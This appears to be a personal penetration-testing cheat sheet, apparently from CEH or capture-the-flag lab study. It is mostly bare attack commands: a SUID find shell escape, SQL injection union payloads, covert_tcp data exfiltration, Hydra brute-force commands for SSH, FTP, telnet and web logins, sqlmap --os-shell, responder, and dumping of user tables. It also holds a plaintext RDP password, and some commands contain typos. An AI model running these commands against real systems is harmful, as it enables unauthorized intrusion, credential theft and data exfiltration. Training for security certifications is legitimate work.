find / -type f -perm -u=s 2>/dev/null

find / -type f -perm -u=s 2>/dev/null (suid)

/usr/bin/find . -exec /bin/sh -p \; -quit

———————————————————————————————
Group_concat <sql>

http://10.10.136.79/item.php?id=5%20union%20select%201,group_concat(column_name),3,4,5%20from%20information_schema.columns%20where%20table_name=%22users%22;

http://10.10.136.79/item.php?id=5 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name="users";
———————————————————————————————
Shell gpt

rdesktop -u SG -p UmbracoIsTheBest! 10.10.41.145
Net user [for listing users in windows]

Dvwa
dvwa-start

Md5sum

ssh user@10.10.68.225 -p 65534
Remmina

Ftp-data (wireshark)

Https://localhost:8834 Nessus windows

nikto -h [url] -Tuning x
nikto -h certifiedhacker.com -Cgidirs all
nikto -h certifiedhacker.com -o result -F txt

responder -I ens33
\\ceh-tools. Or \\machine ip in search or this pc\

COVERT TCP

Starting listener
sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port 8888 -dest_port 9999 -server -file /home/user/msg1.txt

Sending data
sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port 9999 -dest_port 8888 -file /home/kali/msg.txt

---

Telnet. [footprint the webserver]

telnet certifiedhacker.com 443
GET / HTTP/1.0

Netcat

nc -vv certifiedhacker.com 443
GET / HTTP/1.0

Enumeration Webserver using NSE script

nmap -sV --script http-enum certifiedhacker.com

Now to enumerate the hostnames use the following script

nmap --script hostmap-bft -script-args hostmap.bfk=hostmap-certifiedhacker.com

http trace scanner

nmap --script http-trace certifiedhacker.com

Http WAF (Firewall) detection

nmap -p 80 --script http-waf-detect certifiedhacker.com

uniscan -u url -q/-we

Footprint the web infrastructure

whatweb -v certifiedhacker.com

Hydra Brute force cheatsheat

SSH
hydra -l username -P passlist.txt 192.168.0.100 ssh

FTP
hydra -L userlist.txt -P passlist.txt ftp://192.168.0.100

```
# If the service isn't running on the default port, use -s
 hydra -L userlist.txt -P passlist.txt ftp://192.168.0.100 -s 221

# TELNET
hydra -l admin -P passlist.txt -o test.txt 192.168.0.7 telnet

# Login form
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"
```

———

MySQL commands

```
mysql -U qdpmadmin -h 192.168.1.8 -P passwod
show databases;
use qdpm;
show tables'
select * from users;
show dtabases;
use staff;
show tables;
select * from login;
select * from user;
```

To get a shell

```
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" --os-shell
```

TASKLIST
help

———————————————————————

PHONESPLOIT

```
# 1. Create a virtual environment (e.g., named 'venv')
python3 -m venv venv

# 2. Activate the virtual environment
# On Linux/macOS:
source venv/bin/activate
```

```
# On Windows:
# venv\Scripts\activate

# 3. Once activated, install your requirements
pip install -r requirements.txt

# 4. When you're done working on your project, deactivate the environment
deactivate
```

Entropy value of elf file

ent -h / ent evil.elf

sha384sum evil.elf [file which has high entropy value]